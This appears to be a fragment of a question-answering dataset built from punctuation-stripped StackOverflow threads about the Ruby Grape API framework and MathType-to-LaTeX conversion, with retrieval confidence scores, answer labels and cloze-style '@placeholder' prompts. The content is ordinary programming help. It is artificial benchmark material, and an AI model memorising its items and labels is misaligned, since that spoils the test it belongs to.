ruby-2.1.6@lixibox gems actionpack-4.2.1 lib action dispatch routing route set.rb : 819 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems omniauth-1.2.2 lib omniauth strategy.rb : 186 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems omniauth-1.2.2 lib omniauth strategy.rb : 164 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems warden-1.2.3 lib warden manager.rb : 35 : in block in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems warden-1.2.3 lib warden manager.rb : 34 : in catch Users macstore1 .rvm gems ruby-2.1.6@lixibox gems warden-1.2.3 lib warden manager.rb : 34 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems rack-1.6.4 lib rack etag.rb : 24 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems rack-1.6.4 lib rack conditionalget.rb : 38 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems rack-1.6.4 lib rack head.rb : 13 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems remotipart-1.2.1 lib remotipart middleware.rb : 27 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems actionpack-4.2.1 lib action dispatch middleware params parser.rb : 27 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems actionpack-4.2.1 lib action dispatch middleware flash.rb : 260 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems rack-1.6.4 lib rack session abstract id.rb : 225 : in context Users macstore1 .rvm gems ruby-2.1.6@lixibox gems rack-1.6.4 lib rack session abstract id.rb : 220 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems actionpack-4.2.1 lib action dispatch middleware cookies.rb : 560 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems activerecord-4.2.1 lib active record query cache.rb : 36 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems activerecord-4.2.1 lib active record connection adapters abstract connection pool.rb : 649 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems actionpack-4.2.1 lib action dispatch middleware callbacks.rb : 29 : in block in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems activesupport-4.2.1 lib active support callbacks.rb : 88 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems activesupport-4.2.1 lib active support callbacks.rb : 88 : in run callbacks Users macstore1 .rvm gems ruby-2.1.6@lixibox gems activesupport-4.2.1 lib active support callbacks.rb : 776 : in run call callbacks Users macstore1 .rvm gems ruby-2.1.6@lixibox gems activesupport-4.2.1 lib active support callbacks.rb : 81 : in run callbacks Users macstore1 .rvm gems ruby-2.1.6@lixibox gems actionpack-4.2.1 lib action dispatch middleware callbacks.rb : 27 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems actionpack-4.2.1 lib action dispatch middleware reloader.rb : 73 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems actionpack-4.2.1 lib action dispatch middleware remote ip.rb : 78 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems airbrake-4.3.0 lib airbrake rails middleware.rb : 13 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems better errors-2.1.1 lib better errors middleware.rb : 84 : in protected app call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems better errors-2.1.1 lib better errors middleware.rb : 79 : in better errors call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems better errors-2.1.1 lib better errors middleware.rb : 57 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems actionpack-4.2.1 lib action dispatch middleware debug exceptions.rb : 17 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems web-console-2.2.1 lib web-console middleware.rb : 39 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems actionpack-4.2.1 lib action dispatch middleware show exceptions.rb : 30 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems railties-4.2.1 lib rails rack logger.rb : 38 : in call app Users macstore1 .rvm gems ruby-2.1.6@lixibox gems railties-4.2.1 lib rails rack logger.rb : 20 : in block in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems activesupport-4.2.1 lib active support tagged logging.rb : 68 : in block in tagged Users macstore1 .rvm gems ruby-2.1.6@lixibox gems activesupport-4.2.1 lib active support tagged logging.rb : 26 : in tagged Users macstore1 .rvm gems ruby-2.1.6@lixibox gems activesupport-4.2.1 lib active support tagged logging.rb : 68 : in tagged Users macstore1 .rvm gems ruby-2.1.6@lixibox gems railties-4.2.1 lib rails rack logger.rb : 20 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems quiet assets-1.1.0 lib quiet assets.rb : 27 : in call with quiet assets Users macstore1 .rvm gems ruby-2.1.6@lixibox gems actionpack-4.2.1 lib action dispatch middleware request id.rb : 21 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems rack-1.6.4 lib rack methodoverride.rb : 22 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems rack-1.6.4 lib rack runtime.rb : 18 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems activesupport-4.2.1 lib active support cache strategy local cache middleware.rb : 28 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems rack-1.6.4 lib rack lock.rb : 17 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems actionpack-4.2.1 lib action dispatch middleware static.rb : 113 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems rack-1.6.4 lib rack sendfile.rb : 113 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems airbrake-4.3.0 lib airbrake user informer.rb : 16 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems airbrake-4.3.0 lib airbrake user informer.rb : 12 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems railties-4.2.1 lib rails engine.rb : 518 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems railties-4.2.1 lib rails application.rb : 164 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems rack-1.6.4 lib rack content length.rb : 15 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems thin-1.6.3 lib thin connection.rb : 86 : in block in pre process Users macstore1 .rvm gems ruby-2.1.6@lixibox gems thin-1.6.3 lib thin connection.rb : 84 : in catch Users macstore1 .rvm gems ruby-2.1.6@lixibox gems thin-1.6.3 lib thin connection.rb : 84 : in pre process Users macstore1 .rvm gems ruby-2.1.6@lixibox gems thin-1.6.3 lib thin connection.rb : 53 : in process Users macstore1 .rvm gems ruby-2.1.6@lixibox gems thin-1.6.3 lib thin connection.rb : 39 : in receive data Users macstore1 .rvm gems ruby-2.1.6@lixibox gems eventmachine-1.0.7 lib eventmachine.rb : 187 : in run machine Users macstore1 .rvm gems ruby-2.1.6@lixibox gems eventmachine-1.0.7 lib eventmachine.rb : 187 : in run Users macstore1 .rvm gems ruby-2.1.6@lixibox gems thin-1.6.3 lib thin backends base.rb : 73 : in start Users macstore1 .rvm gems ruby-2.1.6@lixibox gems thin-1.6.3 lib thin server.rb : 162 : in start Users macstore1 .rvm gems ruby-2.1.6@lixibox gems rack-1.6.4 lib rack handler thin.rb : 19 : in run Users macstore1 .rvm gems ruby-2.1.6@lixibox gems rack-1.6.4 lib rack server.rb : 286 : in start Users macstore1 .rvm gems ruby-2.1.6@lixibox gems railties-4.2.1 lib rails commands server.rb : 80 : in start Users macstore1 .rvm gems ruby-2.1.6@lixibox gems railties-4.2.1 lib rails commands commands tasks.rb : 80 : in block in server Users macstore1 .rvm gems ruby-2.1.6@lixibox gems railties-4.2.1 lib rails commands commands tasks.rb : 75 : in tap Users macstore1 .rvm gems ruby-2.1.6@lixibox gems railties-4.2.1 lib rails commands commands tasks.rb : 75 : in server Users macstore1 .rvm gems ruby-2.1.6@lixibox gems railties-4.2.1 lib rails commands commands tasks.rb : 39 : in run command Users macstore1 .rvm gems ruby-2.1.6@lixibox gems railties-4.2.1 lib rails commands.rb : 17 : in top required Users macstore1 projects lixibox bin rails : 8 : in require Users macstore1 projects lixibox bin rails : 8 : in top required Users macstore1 .rvm gems ruby-2.1.6@lixibox gems spring-1.3.6 lib spring client rails.rb : 28 : in load Users macstore1 .rvm gems ruby-2.1.6@lixibox gems spring-1.3.6 lib spring client rails.rb : 28 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems spring-1.3.6 lib spring client command.rb : 7 : in call Users macstore1 .rvm gems ruby-2.1.6@lixibox gems spring-1.3.6 lib spring client.rb : 26 : in run Users macstore1 .rvm gems ruby-2.1.6@lixibox gems spring-1.3.6 bin spring : 48 : in top required Users macstore1 .rvm gems ruby-2.1.6@lixibox gems spring-1.3.6 lib spring binstub.rb : 11 : in load Users macstore1 .rvm gems ruby-2.1.6@lixibox gems spring-1.3.6 lib spring binstub.rb : 11 : in top required Users macstore1 projects lixibox bin spring : 13 : in require Users macstore1 projects lixibox bin spring : 13 : in top required bin rails : 3 : in load bin rails : 3 : in main Comment : Where did you put the rescue from block Comment : I putted it in app controllers api v1 defaults.rb . .. . Answer : Maybe there is an error in your API somewhere . The following should work tested with Grape 0.13.0 : .. . .. . Also if you define a rescue from : all block be sure to do it as the last block . By the way Grape has a pretty good documentation https : github.com ruby-grape grape blob v0.13.0 README.md .", "Question : I m using grape 0.14.0 with grape-entity 0.5.0 to create a XML API within my Rails 4.2.5 app . Whenever I specify an explicit root element within a Grape : : Entity class the XML response gets wrapped in an unwanted root element hash . How can I get rid of it Example code .. . .. . Result .. . .. . Result without root in PartnerEntity .. . .. . Since I need to explicitly name my root elements I can t do without root . .. . Answer : Did you find this thread XML format is incorrect https : github.com ruby-grape grape-entity issues 23 .. . .. . It contains with an idea which way you can override it . Use custom formetter to redefine XML root https : github.com ruby-grape grape-on-rack commit 87c4b97db955cd3cdb4a5d2903e28373b59bc3f2", "Question : I m using Rails with Grape as API . I was just curious why there isn t session : something method in grape I can create cookies but can t created signed cookies either . It throw me an error . Best . .. . Answer : Grape is a lightweight framework for building API s and when you send a request to the Grape API endpoint the response doesn t go through all the Rails middlewares instead it goes through a thin set of Rack middlewares . Therefore Grape is specially designed for building API s where you can plug in the required middlewares that you want depending on your requirements . The main goal is to make the API as lightweight as possible and for efficient speed and performance . If you want to enable session in Grape which is mounted on Rails you need to use the ActionDispatch : : Session : : CookieStore middleware . You can use the grape session https : github.com faber-lotto grape session gem for the above purpose . If you want the default way of using session in a Rack application without the Rails middlewares use the default Rack : : Session : : Cookie middleware available in Rack .", "Question : I m trying to test my grape-api and I m having problems with my test . I use the rails default test this is my Gemfile test part . My controller : .. . .. . and my test : .. . .. . When I launch the test I got this error : .. . .. . I couldn t find why the controller is not found . Do I have to add something in my test helper.rb It contains nothing for ActionController : .. . Answer : You re setting up your test as a normal Rails controller test but its slightly different for a Grape class . Instead of inheriting from ActionController : : TestCase you should just inherit from ActiveSupport : : TestCase then include the Rack test helpers . e.g . See https : github.com ruby-grape grape minitest-1 and https : github.com brynary rack-test for further details .", "Question : I recently worked on a API service and I m using Grape https : github.com ruby-grape grape framework but I don t quite understand how can I write rspec for my API .. . Answer : There are numerous example apps on the grape website : http : www.ruby-grape.org examples .. . .. . For example this is an example with a Rspec test for a grape app integrated with rails : .. . .. . https : github.com ruby-grape grape-on-rails .. . .. . Hope this helps . Comment : thank you so much it really worked .", "Question : I am building a REST API in Ruby using Grape https : github.com ruby-grape grape . My frontend is written in AnguarJS https : github.com angular angular.js and the default datetime serialization made by Grape is not correctly being understood by angulars date filter https : docs.angularjs.org api ng filter date . So my idea is to format all the datetime attributes in ruby before sending it . What is the best approach Is there a generic Time http : ruby-doc.org core-2.2.0 Time.html serialization in Grape that I can use If not is it feasible to perform a deep lookup in a ruby list or map find all Time instances and replace them by a formatted string My current solution below is tightly coupled for one attribute but I would like to extend this formatting to all Time instantes . .. . Answer : If you re using Grape Entity then you can extend the ApiHelper to include a new formatter . For example : .. . .. . Once you have done it you can use it in your Entities like this : .. . .. . I believe it s the best way to tackle this problem because you shouldn t change the Time class just to solve a problem in your View layer . Using Grape Entity is a good practice too . You should always shield your API from possible changes in your Models . Also remember that what you expose through a Rest API are Resources and not Models . In fact a resource can even be a combination of multiple Models and Entities allow you to define a Resource and reuse it wherever you need it . Using entities you can exclude fields create fields that are a combination of others fields . It gives you flexibility .", "Question : I recently worked on a API service and I m using Grape https : github.com ruby-grape grape framework but I don t quite understand how can I write rspec for my API .. . Answer : Checkout this gem airborne here https : github.com brooklynDev airborne built on top of rspec has inbuilt helpers useful to test apis .", "Question : null .. . Answer : I am using grape- swagger for API documentation . I want to specify the schema of json response returned from API in the API documentation . Is there any way to set API response schema in swagger documentation Comment : What are you specifically confused about Looks pretty straightforward here : github.com ruby-grape grape-swagger response-documentation https : github.com ruby-grape grape-swagger response-documentation", "Question : I have Nginx and Passenger installed on my server . Trying to run a Grape Rack API off it . When I deploy Rails applications I have this server block in Nginx conf .. . .. . The instructions on Passenger s tutorial https : www.phusionpassenger.com library deploy nginx deploy ruby deploying-an-app-to-a-virtual-host-s-root are .. . .. . The server block s root must point to your application s public subdirectory . What would this root be in case of my Grape API .. . Answer : In case of grape you need to create an empty public folder and point to this folder in the sever block .", "Question : Right now my API accepts a request such as a x a y using : .. . .. . My client can only send the query parameter as a 0 x a 1 y which Grape does not understand resulting in 400 Bad Request . Is it not possible to both accept a and a 0 with Grape The other option is to send a request to another server first converting from a 0 to a send that request to Grape get the response from Grape and send that to the client which seems really unnecessary . Comment : What prevents your client to generate such URLs Comment : I have not been able to find a way to change from indices to brackets using the library so maybe it was easier to change Grape to be more flexible . I could construct the parameters myself of course but I thought libraries should handle that . Qs github.com hapijs qs stringifying https : github.com hapijs qs stringifying can handle that for example specifying brackets or indices easily I am not using Qs however . .. . Answer : It is more to do with Rack than Grape . It s how Rack parses query strings take a look at .. . .. . rack-1.6.4 lib rack utils.rb .. . .. . a 0 x a 1 y will produce a hash a 0 x 1 y which based on the params is invalid . While a non-indiced version a x a y produces an array a 1 2 .. . .. . For some great information on that @see http : codefol.io posts How-Does-Rack-Parse-Query-Params-With-parse-nested-query", "Question : The Grape documentation says that : .. . The rescue from block must return a Rack : : Response object call error or re-raise an exception . .. . .. . but if we use the rescue from method only to log things and we want to keep the original HTTP answer what should we return If I rethrow the catched exception it does not keep the original behavior . For example some of my tests generate 400 responses but with : .. . .. . They catch 500 responses . The better solution I found to reproduce the original behavior is this code : .. . .. . I should check if the catched exception responds to status because it could be a RuntimeError for example and RuntimeError does not answer to status . Am I doing this right Or there is a better solution to do that .. . Answer : This is answered in https : github.com ruby-grape grape pull 939 pointed from https : github.com ruby-grape grape issues 1300 .", "Question : So I came to this error when using Swagger UI and trying to hit the API . I m using the gem grape-swagger and the UI says is trying to retrieve the records . .. . Answer : Hope this may help someone who finds this question here . I also got the same error . But the reason is different . Here the reason was I added the add swagger documentation method above the mounting of all apis . Here I am using grape-swagger-rails https : github.com ruby-grape grape-swagger-rails gem with Grape in Rails 4.2 .. . .. . We have to add the method add swagger documentation after mounting the all grape apis . .. . .. . Check the following github conversation .. . .. . https : github.com ruby-grape grape-swagger-rails issues 58", "Question : Is there a way with Grape Grape-Entity to automatically serialize data into an entity It seems like all of the examples use params : var from : https : github.com intridea grape .. . .. . When the posted entity is more complex lets say a new person firstname lastname address etc Is there a way to automatically have it turns into the entity that API represents Looking for some kind of usage like this : Comment : As a corollary how can I make ONLY attributes on the entity the allowed params .. . Answer : Is your entity an ActiveRecord model If so maybe MyModel.new params Or better you can only allow declared parameters like this : MyModel.new declared params . See the doc here https : github.com ruby-grape grape blob v0.12.0 README.md declared . Ruby has lots of power with meta-programming to allow you to do what you want yourself less painfully with things like meta-programming where you could loop over the params and set the entity s fields . However what you re wanting to do is actually complex which is why there s no general purpose solution for it . Imagine if you had deeply embedded associations in your entity . I think the typical recommendation is to embrace the fact that what you re given via an API and what you give back is a representation of a thing not the thing itself . Following this if what s being passed in already represents an existing thing perhaps that thing can be represented by a single ID If your API takes an ID then you just look the thing up . This is the advice given when using things like Sidekiq : when you want to process some data in the database later you capture the ID of the database record and not all the data itself . This has advantages in case the data changes in the meantime etc but the point here is that you might benefit from having your API accept a pointer to something you can load . I d say the best use-case for what you want is when your entity is complex which you said is your case . Consider making your entity less complex . .. . .. . As a stretch : you might want to take a look at grape-entity https : github.com ruby-grape grape-entity although I think it s kind of the inverse of what you want since I think I haven t used it myself and the documentation isn t very clear to me about its high-level purpose it s meant for working with your entities for the response .", "Question : I am writing my first API using Grape and am quite excited and it sounds and feels grate . Running through the notes I couldn t find a way to declare parameters for a file . Below is a work-in-progress class for providing profile details updating profile details and uploading a profile image . I got this params do end block to define required fields and would like to do so for the file-upload as well . But what is the type going to be Tried to find an example online and the few that I came across didn t use it . Probably trivial and a silly question but I am finding difficulty finding it . Update : The file-upload it self uses Carrier-wave and an uploader called ProfilePictureUploader but I doubt it is the case . Thanks in advance for your support . You have a nice day there . .. . Answer : I think the type you re looking for is Rack : : Multipart : : UploadedFile or just File : .. . .. . It s one grape supported types as here https : github.com ruby-grape grape supported-parameter-types . Comment : I need to get a pair of glasses . Some thing must be wrong with my eye sight not to see that section in documentation . Thanks", "Question : Question .. . .. . I ve been messing with ruby grape grape-entity and activerecord . Everything is going swimmingly however I can t see to get the desired result from grape-entity when using the using keyword for a expose item . My goal is to basically resolve all my activerecord associations and then return the resulting JSON . This way I have a complete object for presentation for my configurations API method . If you need more information please ask i ll happily provide anything and everything . Notes : I am using rackup as my server i m not using rails at all . Classes .. . .. . console game.rb .. . .. . cloud user.rb .. . .. . device.rb .. . .. . console system.rb .. . .. . configuration.rb .. . .. . .. . .. . Grape API .. . .. . Error .. . .. . NoMethodError at configuration undefined method id for 4 : Fixnum .. . .. . Ruby Library Ruby Gems 2.0.0 gems grape-entity-0.4.2 lib grape-entity entity.rb : in delegate attribute line 465 Web GET localhost configuration .. . .. . Removing : using to get it to work .. . .. . configuration.rb .. . .. . JSON Result .. . .. . Desired Result .. . Answer : I m not overly familiar with grape-entity but I think you need to define Configuration : : Entity as follows : .. . .. . What you want to be exposing are the objects associated with a Configuration not simply their foreign-key IDs . The error message you re seeing is caused by your code trying to format say device id which is a number a Fixnum as a Device object . Device : : Entity specifies exposing the id and name attributes but as there are no corresponding methods defined on the number 4 the interpreter raises a NoSuchMethod error . Comment : wow so easy and yet obviously something I overlooked for a long time . Thanks Comment : is there something like this for sinatra Comment : Like grape-entity https : github.com intridea grape-entity you mean I believe you can use it with Sinatra as well . You might also want to look at ROAR https : github.com apotonick roar which I use in my own projects . Comment : Think you could help me here : stackoverflow.com questions 25769645 http : stackoverflow.com questions 25769645 issue-with-resolving-belongs-to-using-roar running into a similar issue", "Question : I have created a rails app that periodically pings list of urls stored in a Server table . Now I want to create an API so that another application can insert records into the server table using this API . I researched about this topic on the internet to death and could not find a solution . Can someone suggest me how I can use grape gem to create this API Any relevant blog articles would be helpful as well . .. . Answer : The Grape https : github.com ruby-grape grape framework is an alternative to the Ruby on Rails framework not something you add-on top . Since you already have a Ruby on Rails app you can do this more easily by adding this feature to your existing Rails app which already has the ActiveRecord models and database-connection set up . The simplest way to do it would be to create a controller action add url and make sure there is a route set up to it . Inside the action run something like this : .. . .. . Then tell users of your API to send a POST HTTP request to the URL that routes to the add url action and set the url parameter of that request to the URL to add the list . Even better than having an add url action inside some random controller would be naming the action create and putting it within a controller like ServerController that handles the creation showing updating and deletion of URLs to visit . This would follow the REST convention of organizing APIs which is more familiar to API users and which gives you a guiding principle to help you organize . However if you already have a create method inside your ServerController that presents a web interface you will have to make the action more complicated by using Rails respond to feature to determine whether you should show a web page or respond to an API call . Note that the above code has no security features restricting who can add URLs so depending on your purposes may want to add that feature somehow . Comment : After creating the feature I should also restrict creation of record through some sort of authentication . I was thinking of using OmniAuth or doorkeeper . Let me know if there are better way to do this . Comment : I am also thinking of using rocketpants instead of grape for allowing user to create a record thru an API . Is it a good approach", "Question : I m using grape and grape-entity in a Rails 4.2.1 project and I m running into a weird error with presenting using the right model . According to the documentation https : github.com ruby-grape grape-entity entity-organization organizing my entities within each model results in this : .. . .. . Grape will automatically detect the Entity class and use it to present your models . In addition the documentation also says : .. . .. . By default every object of a collection is wrapped into an instance of your Entity class . Here s the code I have now . If I don t do expose : addresses with : Address : Entity it doesn t work and still exposes all the fields of the address . Any reason it s not automatically detecting the correct entity Comment : I think it happens because It s just a parser . It s not directly related to Active Record . By the way you can use any object instead one from Active Record . So if you parser a Hash with an Integer and a String for example it should Work independent if it s provided from the database or not . .. . Answer : Turns out this is expected behavior . Grape only detects the entity class that s nested within the model so it doesn t know to use the entity class of any associated records . There s a feature request filed here https : github.com ruby-grape grape-entity issues 185 which is also where I got this from :", "Question : I ve been looking around for the easiest solution to convert all Datetime values to ISO 8601 when sending them to a specific requester from an API . I was able to monkey patch Time to json with the following : .. . .. . And require the file in the before callback of Grape when params showed the request was coming from the desired location . Is this the best way to accomplish this Could I instead be doing something in the after callback of Grape to loop through my data and convert the values there Monkey patching Time to json gets the job done but feels funny to me . Though I am new to Ruby . Comment : Your instincts are good . Monkey patching classes should only be used as a last resort . In your case I think it s a bad idea because who knows where else in the program the default behavior might be relied upon -- and if not now maybe in the future . You can add this message to individual Time instances if you can figure out which instances need modifying . Comment : Where are your Time instances coming from What do you use as a backend Could you create a wrapper presenter class for Time and use that instead .. . Answer : Are you using Grape Entity to expose your models If you re using it then you can define a reusable formatter like this : .. . .. . Then you can use this formatter in all your entities : .. . .. . But if you re not using Grape Entity.. . well I think you should . : .. . .. . PS . : All examples I showed here were extracted from Grape Entity documentation . https : github.com ruby-grape grape-entity Comment : Hi not currently using Grape Entity but I did look at it some . I need more arguments in favor of it as just solving this problem isn t reason enough to invest the time to transition . Comment : First off I think you should always shield your API from possible changes in your Models and vice-versa . Also remember that what you expose through a Rest API are Resources and not Models . In fact a resource can even be a combination of multiple Models . Entities allow you to define a Resource and reuse it whenever you need it . Using entities you can exclude fields create fields that are a combination of others fields . In a nutshell it gives you flexibility .", "Question : I am a beginner in Grape I want to show my api list by using swagger-ui . I put swagger html in public swagger and I access localhost : 3000 swagger http : localhost : 3000 swagger .. . .. . However it keep showing 404 not found . I thought it s causing by Grape configuration . Here is api.rb .. . Answer : You don t have to do it manually by putting swagger html somewhere . You could use gem grape-swagger https : github.com ruby-grape grape-swagger provided by Grape team add two lines in you config.ru . then you could access swagger doc at http : localhost : 3000 swagger doc Comment : It looks reasonable . But um...I am not sure what is going on but I still get the 404 not found page.Seems like I can only access the path which I ve define on api.rb . Comment : You added the gem to Gemfile run bundle install and restarted the server right Comment : Yeah sure I add this gem swagger already . Here is Github link : github.com fifiteen82726 grape practice https : github.com fifiteen82726 grape practice Comment : @CodaChang Your grape is a Rails engine so the url should be localhost : 3000 api swagger doc http : localhost : 3000 api swagger doc Comment : Thanks it works ." ] }
[ "yes-answer-long", "yes-answer-short" ]
maven
UNK_RELATION
mathtype@desktop@163
mathtype -- mathtype is a powerful interactive equation editor for windows and macintosh that lets you create mathematical notation for word processing web pages @placeholder publishing presentations elearning and for tex latex and mathml documents .
{ "confidence": [ 55.61161422729492, 52.664031982421875, 49.586883544921875, 47.72052764892578, 47.05256271362305, 44.792152404785156, 34.96666717529297, 33.527252197265625, 33.527252197265625, 32.30999755859375, 32.11457443237305, 30.439754486083984, 28.231124877929688, 26.86824607849121, 25.02480697631836, 22.00294303894043, 21.817712783813477, 20.810169219970703, 19.726985931396484, 16.395984649658203, 15.787286758422852, 15.624589920043945, 15.605338096618652, 14.374608039855957, 14.374608039855957, 14.374608039855957, 14.374608039855957, 14.374608039855957, 14.374608039855957, 14.374608039855957, 14.374608039855957, 14.374608039855957, 11.233749389648438, 11.070812225341797, 9.140134811401367, 9.140134811401367, 9.140134811401367, 9.140134811401367 ], "content": [ "These documents contain MathType equations Word Drawings vector drawings and the drawings many times contain more equation objects themselves .", "chat.stackoverflow.com rooms 86640 using-latex-in-mathtype http : chat.stackoverflow.com rooms 86640 using-latex-in-mathtype", "Summing up : .. . .. . I need to know which wmf files are MathType equations and which are word drawings .. . I need to be able to convert the wmf files that are MathType equations to LaTeX .", "I want to create something like this in MS Word by MathType 6.9", "Sadly the MathType SDK fails to convert every single equation in the wmz files that are generated in the process the wmf examples that come with the SDK are converted to LaTeX just fine. . .", "The problem still lies in converting equations to LaTeX with the MathType SDK and wmf emf to SVG .", "I need some PRETTY good wmf to svg converters to convert the drawings because it is quite often that the results are not to our liking .. . I need to have access to the mathtype equations contained in the word drawings .", "Do you know of any way -modifying the code or mathtype settings- to solve this problem", "So while the above doesn t use aligned you may have to remove some commands that are unknown to MathType .", "enter image description here http : i.stack.imgur.com cRgEa.png .. . but unfortunately when I try to copy and paste the code between begin document and end document in MathType to create the same expression in word I get the result : .. .", "Here is a toned-down version of your construction that doesn t use aligned : .. . .. . It s not possible to test this without access to MathType .", "Or do you have another suggestion to embed Latex equation into MS Word 2010", "Have you tried manually reading the Word drawing object and then outputting each equation object in there", "enter image description here http : i.stack.imgur.com E1xoq.png .. . It seems that MathType doesn t parse the codes begin aligned t and end aligned and as you know these are just amsmath packages code .", "WMZ is gzipped WMF so if the conversion of WMF to LaTeX works then try unGzipping the WMZ file to WMF and then converting it to LaTeX .", "This code is by the help of tex community .", "wmz files aren t the problem the problem among others is converting wmf to LaTeX .", "@Werner I m not a professional in latex .", "I did this a while ago though not with maths equations and there were a couple of ways to walk the word document object tree .", "You are dealing with a proprietary format and any solution you do now may break in the next release .", "If you can find an example where that fails then it may be a bug that Microsoft may already have a patch for .", "enter image description here http : i.stack.imgur.com RxLGX.png .. . The code that I m using is : .. . .. . It s perfect when used in LaTeX and gives the following pdf result : .. .", "It would be easier to to this in .NET and use the object-model MS provides rather than read the .bin files - this way MS can solve the problem for you .", "I need to convert thousands of .doc files to HTML .", "Through Microsoft.Office.Interop.Word I have managed to save .docs to filtered HTML and unfiltered HTML this last mode has the advantage of generating several .wmz files .", "All of this has to be automated since there are thousands of files .", "Anyone with some experience on this", "@acutesoftware I m almost settling with losing the equations inside the drawings this means being ok with just the vector information generated for them in either wmf or emf formats .", "Also to access the objects I m currently saving the document as .docx and looking at the .bin files inside it though I could easily change this if it is worth it .", "@acutesoftware your concern is valid but this is a one time importing process so it is not a big worry .", "Either way I ll settle with whatever is easier .", "Actually wmz is zipped wmf .", "@Werner can you chat for a minute .", "because I want to post the photo to you", "One should be able to recreate this using a standard array .", "I ve just started .", "I don t know how to recreate it using array", "Try this code http : pastebin.com 7W2nVz65 and give some feedback.. ." ] }
{ "confidence": [ 82.64566040039062, 81.83354187011719 ], "content": [ "Question : I want to create something like this in MS Word by MathType 6.9 enter image description here http : i.stack.imgur.com RxLGX.png .. . The code that I m using is : .. . .. . It s perfect when used in LaTeX and gives the following pdf result : .. . enter image description here http : i.stack.imgur.com cRgEa.png .. . but unfortunately when I try to copy and paste the code between begin document and end document in MathType to create the same expression in word I get the result : .. . enter image description here http : i.stack.imgur.com E1xoq.png .. . It seems that MathType doesn t parse the codes begin aligned t and end aligned and as you know these are just amsmath packages code . Do you know of any way -modifying the code or mathtype settings- to solve this problem Or do you have another suggestion to embed Latex equation into MS Word 2010 Comment : One should be able to recreate this using a standard array . Comment : @Werner I m not a professional in latex . I ve just started . This code is by the help of tex community . I don t know how to recreate it using array Comment : Try this code http : pastebin.com 7W2nVz65 and give some feedback.. . Comment : @Werner can you chat for a minute . because I want to post the photo to you chat.stackoverflow.com rooms 86640 using-latex-in-mathtype http : chat.stackoverflow.com rooms 86640 using-latex-in-mathtype .. . Answer : Here is a toned-down version of your construction that doesn t use aligned : .. . .. . It s not possible to test this without access to MathType . So while the above doesn t use aligned you may have to remove some commands that are unknown to MathType .", "Question : I need to convert thousands of .doc files to HTML . These documents contain MathType equations Word Drawings vector drawings and the drawings many times contain more equation objects themselves . Through Microsoft.Office.Interop.Word I have managed to save .docs to filtered HTML and unfiltered HTML this last mode has the advantage of generating several .wmz files . Sadly the MathType SDK fails to convert every single equation in the wmz files that are generated in the process the wmf examples that come with the SDK are converted to LaTeX just fine. . . Summing up : .. . .. . I need to know which wmf files are MathType equations and which are word drawings .. . I need to be able to convert the wmf files that are MathType equations to LaTeX . I need some PRETTY good wmf to svg converters to convert the drawings because it is quite often that the results are not to our liking .. . I need to have access to the mathtype equations contained in the word drawings . All of this has to be automated since there are thousands of files . Anyone with some experience on this Comment : I did this a while ago though not with maths equations and there were a couple of ways to walk the word document object tree . Have you tried manually reading the Word drawing object and then outputting each equation object in there If you can find an example where that fails then it may be a bug that Microsoft may already have a patch for . Comment : @acutesoftware I m almost settling with losing the equations inside the drawings this means being ok with just the vector information generated for them in either wmf or emf formats . The problem still lies in converting equations to LaTeX with the MathType SDK and wmf emf to SVG . Also to access the objects I m currently saving the document as .docx and looking at the .bin files inside it though I could easily change this if it is worth it . Comment : It would be easier to to this in .NET and use the object-model MS provides rather than read the .bin files - this way MS can solve the problem for you . You are dealing with a proprietary format and any solution you do now may break in the next release . Comment : @acutesoftware your concern is valid but this is a one time importing process so it is not a big worry . Either way I ll settle with whatever is easier . .. . Answer : WMZ is gzipped WMF so if the conversion of WMF to LaTeX works then try unGzipping the WMZ file to WMF and then converting it to LaTeX . Comment : Actually wmz is zipped wmf . wmz files aren t the problem the problem among others is converting wmf to LaTeX ." ] }
[ "yes-answer-long", "yes-answer-short" ]
desktop
UNK_RELATION
openx.net@api@69
openx.net -- openx.net is an open-source project implementing openx @placeholder bindings for .net .
